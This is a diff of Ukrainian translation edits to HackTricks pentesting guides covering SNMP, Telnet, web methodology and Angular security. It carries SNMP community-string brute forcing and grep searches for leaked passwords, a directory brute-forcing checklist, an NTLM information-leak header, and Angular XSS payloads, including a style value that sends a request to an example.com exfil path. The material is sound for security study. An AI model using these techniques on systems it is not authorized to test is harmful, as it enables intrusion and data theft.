Якщо ви спробуєте **записати** об'єкт, ви отримаєте **помилку `noSuchName` або `readOnly`**.\*\*.\*\*
У версіях 1 і 2/2c, якщо ви використовуєте **поганий** рядок спільноти, сервер не **відповість**. Тож, якщо він відповідає, було використано **дійсний рядок спільноти**.
@ -92,7 +91,7 @@ PORT STATE SERVICE REASON VERSION
- Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) на порт **162**.
- Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**.
## Атака методом підбору рядка спільноти (v1 і v2c)
## Брутфорс рядка спільноти (v1 та v2c)
Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-hacking/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
@ -125,7 +124,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** має багато інформації про хост, і речі, які можуть бути вам цікаві: **Мережеві інтерфейси** (IPv4 та **IPv6** адреси), Імена користувачів, Час безперервної роботи, Версія сервера/ОС та **процеси**
**SNMP** має багато інформації про хост, і речі, які можуть вас зацікавити, це: **мережеві інтерфейси** (IPv4 та **IPv6** адреси), імена користувачів, час роботи, версія сервера/ОС та **процеси**
**які працюють** (можуть містити паролі)....
@ -142,7 +141,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
- **`rwcommunity`** для **IPv4** адрес, та
- **`rwcommunity6`** для **IPv6** адрес.
Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
Обидві команди вимагають **строку спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
### Параметри SNMP для Microsoft Windows
@ -166,7 +165,7 @@ cisco-snmp.md
## Від SNMP до RCE
Якщо у вас є **рядок**, який дозволяє вам **записувати значення** всередині служби SNMP, ви можете зловживати цим для **виконання команд**:
Якщо у вас є **строка**, яка дозволяє вам **записувати значення** всередині служби SNMP, ви можете зловживати цим для **виконання команд**:
{{#ref}}
snmp-rce.md
@ -174,9 +173,9 @@ snmp-rce.md
## **Масове SNMP**
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні запитів SNMP але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні SNMP запитів але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому НЕ потрібні жодні бібліотеки SNMP, такі як net-snmp.
Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому не потрібні жодні бібліотеки SNMP, такі як net-snmp.
**Синтаксис:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
```bash
@ -184,7 +183,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
```
Це може витягнути багато МБ інформації, яку ви не можете обробити вручну.
Отже, давайте шукаємо найцікавішу інформацію (з [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
Отже, давайте шукати найцікавішу інформацію (з [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
### **Пристрої**
@ -192,7 +191,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Визначити приватний рядок**
### **Визначити Приватний Рядок**
Ключовим кроком є визначення **приватного рядка спільноти**, що використовується організаціями, особливо на маршрутизаторах Cisco IOS. Цей рядок дозволяє витягувати **поточні конфігурації** з маршрутизаторів. Визначення часто базується на аналізі даних SNMP Trap на наявність слова "trap" за допомогою **grep команди**:
```bash
@ -200,11 +199,11 @@ grep -i "trap" *.snmp
```
### **Імена користувачів/Паролі**
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
Logs stored within MIB tables are examined for **failed logon attempts**, which might accidentally include passwords entered as usernames. Keywords such as _fail_, _failed_, or _login_ are searched to find valuable data:
```bash
grep -i "login\|fail" *.snmp
```
### **Електронні листи**
### **Emails**
Нарешті, для витягування **адрес електронної пошти** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
```bash
@ -225,7 +224,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
- snmp-config.xml
## HackTricks Автоматичні команди
## Автоматичні команди HackTricks
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
Port_Number: 161 #Comma separated if there is more than one.
@ -237,7 +236,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -17,19 +17,19 @@ Telnet - це мережевий протокол, який надає кори
```bash
nc -vn <IP> 23
```
Всі цікаві перерахунки можна виконати за допомогою **nmap**:
Вся цікава енумерація може бути виконана за допомогою **nmap**:
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Скрипт `telnet-ntlm-info.nse` отримає інформацію NTLM (версії Windows).
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**опції**", які будуть санкціоновані і можуть бути використані зі структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть використовуватися з структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
**Я знаю, що можливо перерахувати ці опції, але не знаю як, тому дайте знати, якщо знаєте як.**
### [Brute force](../generic-hacking/brute-force.md#telnet)
## Конфігураційний файл
## Config file
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
## Основна інформація
Веб-сервіс є найпоширенішим та найобширнішим сервісом, і існує багато різних типів вразливостей.
**Default port:** 80 (HTTP), 443(HTTPS)
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -25,18 +25,18 @@ web-api-pentesting.md
## Методологія
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосовувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
- [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
- [ ] Чи є якісь **відомі вразливості** версії технології?
- [ ] Використовується якась **відомо технологія**? Якась **корисна порада** для отримання додаткової інформації?
- [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось цікаве.
- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **SSL/TLS сканування** (якщо HTTPS).
- [ ] Розпочніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
- [ ] Розпочніть **спайдеринг** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
- [ ] _Зверніть увагу, що кожного разу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід спайдерити._
- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки в пошуках нових **файлів** та **каталогів**.
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
- [ ] _Зверніть увагу, що кожного разу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід брутфорсити._
- [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
- [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
- [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
@ -64,7 +64,7 @@ Search **for** [**вразливості веб-додатку** **версії*
### Трюки веб-технологій
Декілька **трюків** для **пошуку вразливостей** у різних відомих **технологіях**:
Деякі **трюки** для **пошуку вразливостей** у різних відомих **технологіях**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -162,12 +162,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Також перевірте коментарі на основних та вторинних сторінках.
**Виклик помилок**
**Примус помилок**
Веб-сервери можуть **несподівано реагувати**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
- Доступ до **фейкових сторінок** на кшталт /whatever_fake.php (.aspx,.html,.тощо)
- **Додайте "\[]", "]]" та "\[\["** у **значення cookie** та **значення параметрів**, щоб створити помилки
- **Додайте "\[]", "]]" та "\[\["** у **значеннях cookie** та **значеннях параметрів**, щоб створити помилки
- Генеруйте помилку, вводячи **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP методи** такі як PATCH, DEBUG або неправильні, як FAKE
@ -180,10 +180,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **Вразливості SSL/TLS**
- Якщо додаток **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
- Якщо додаток **не примушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
- Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,7 +202,7 @@ sslyze --regular <ip:port>
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS файлів та Archive.org як зовнішнє джерело.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
@ -223,7 +223,7 @@ sslyze --regular <ip:port>
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
@ -266,7 +266,7 @@ sslyze --regular <ip:port>
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
### Що перевірити в кожному знайденому файлі
### Що перевіряти в кожному знайденому файлі
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти зламані посилання всередині HTML, які можуть бути схильні до захоплення.
- **Резервні копії файлів**: Після того, як ви знайшли всі файли, шукайте резервні копії всіх виконуваних файлів ("_.php_", "_.aspx_"...). Загальні варіації для назви резервної копії: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Ви також можете використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
@ -277,7 +277,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Коментарі:** Перевірте коментарі всіх файлів, ви можете знайти **облікові дані** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "звичайний" трюк - це **сховати** **інформацію** всередині коментарів праворуч від **сторінки** (використовуючи **сотні** **пробілів**, щоб ви не бачили дані, якщо відкриєте вихідний код у браузері). Інша можливість - використовувати **кілька нових рядків** та **сховати інформацію** в коментарі в **нижній частині** веб-сторінки.
- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Google API ключі: Якщо ви знайдете будь-який API ключ, що виглядає як **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, ви можете використовувати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), щоб перевірити, до яких API ключ може отримати доступ.
- **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/index.html).
@ -288,14 +288,14 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**Цікаві файли**
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [Якщо ви знайдете файл _**.git**_, з нього можна витягнути деяку інформацію](git.md).
- [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
- Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
- **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
- Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими.
- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- У кількох випадках вам потрібно буде **зрозуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex).
- Ви також можете **моніторити файли, в яких були виявлені форми**, оскільки зміна параметра або поява нової форми може вказувати на потенційно нову вразливу функціональність.
@ -314,7 +314,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **витік інформації**.\
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_".
Ви можете **автоматизувати** це, використовуючи **плагін nmap** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -14,13 +14,13 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
## What is Angular
Angular є **потужним** та **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті редиректи**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**.
Angular є **потужним** та **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті перенаправлення**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**.
## Framework architecture
Щоб краще зрозуміти основи Angular, давайте розглянемо його основні концепції.
In order to better understand the Angular basics, lets go through its essential concepts.
Звичайний проект Angular зазвичай виглядає так:
Common Angular project usually looks like:
```bash
my-workspace/
├── ... #workspace-wide configuration files
@ -39,9 +39,9 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоційований з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну для компонента метадані. `AppComponent` визначено у файлі `app.component.ts`.
Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоціюється з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну метадані, специфічні для компонента. `AppComponent` визначено у файлі `app.component.ts`.
Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий `AppModule`, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`.
Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий `AppModule`, який забезпечує механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`.
NgModule Angular `Router` надає сервіс, який дозволяє визначити навігаційний шлях між різними станами додатка та ієрархіями виглядів у вашому додатку. `RouterModule` визначено у файлі `app-routing.module.ts`.
@ -64,7 +64,7 @@ NgModule Angular `Router` надає сервіс, який дозволяє в
## Прив'язка даних
Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільно використані між пов'язаними компонентами (відношення батька і дитини) та між двома непов'язаними компонентами за допомогою функції Service.
Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома несумісними компонентами за допомогою функції Service.
Ми можемо класифікувати прив'язку за потоком даних:
@ -85,7 +85,7 @@ NgModule Angular `Router` надає сервіс, який дозволяє в
## Модель безпеки Angular
Дизайн Angular включає кодування або санітаризацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії для обробки даних:
Дизайн Angular включає кодування або санітизацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії обробки даних:
1. Інтерполяція або `{{user_input}}` - виконує контекстно-залежне кодування та інтерпретує введення користувача як текст;
@ -98,7 +98,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
```
Результат: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Прив'язка до властивостей, атрибутів, класів і стилів або `[attribute]="user_input"` - виконує санітаризацію на основі наданого контексту безпеки.
2. Прив'язка до властивостей, атрибутів, класів і стилів або `[attribute]="user_input"` - виконує санітизацію на основі наданого контексту безпеки.
```jsx
//app.component.ts
@ -123,7 +123,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
### Обхід методів безпеки
Angular вводить список методів для обходу свого стандартного процесу санітаризації та для вказівки, що значення може бути використане безпечно в конкретному контексті, як у наступних п'яти прикладах:
Angular вводить список методів для обходу свого стандартного процесу санітизації та для вказівки, що значення може бути використане безпечно в конкретному контексті, як у наступних п'яти прикладах:
1. `bypassSecurityTrustUrl` використовується для вказівки, що дане значення є безпечним стилем URL:
@ -137,7 +137,7 @@ this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` використовується для вказівки, що дане значення є безпечним ресурсним URL:
2. `bypassSecurityTrustResourceUrl` використовується для вказівки, що дане значення є безпечним ресурсом URL:
```jsx
//app.component.ts
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` використовується для вказівки, що дане значення є безпечним HTML. Зверніть увагу, що вставка елементів `script` у дерево DOM таким чином не викликає виконання вкладеного JavaScript коду, через те, як ці елементи додаються до дерева DOM.
3. `bypassSecurityTrustHtml` використовується для вказівки, що дане значення є безпечним HTML. Зверніть увагу, що вставка елементів `script` у дерево DOM таким чином не призведе до виконання вкладеного JavaScript коду, через те, як ці елементи додаються до дерева DOM.
```jsx
//app.component.ts
@ -187,7 +187,7 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular надає метод `sanitize` для санітаризації даних перед їх відображенням у виглядах. Цей метод використовує наданий контекст безпеки та очищає введення відповідно. Однак, важливо використовувати правильний контекст безпеки для конкретних даних і контексту. Наприклад, застосування санітайзера з `SecurityContext.URL` до HTML контенту не забезпечує захисту від небезпечних HTML значень. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.
Angular надає метод `sanitize` для санітизації даних перед їх відображенням у виглядах. Цей метод використовує наданий контекст безпеки та очищає введення відповідно. Однак, важливо використовувати правильний контекст безпеки для конкретних даних і контексту. Наприклад, застосування санітайзера з `SecurityContext.URL` до HTML контенту не забезпечує захисту від небезпечних HTML значень. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.
### Ін'єкція HTML
@ -210,13 +210,13 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
Результат - `<div><h1>test</h1></div>`.
<div><h1>тест</h1></div>
### Ін'єкція шаблонів
#### Візуалізація на стороні клієнта (CSR)
Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону для оцінки Angular в подвійні фігурні дужки (`{{}}`). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон `{{1+1}}` відобразиться як 2.
Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону, які Angular має оцінити, в подвійні фігурні дужки (`{{}}`). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон `{{1+1}}` відобразиться як 2.
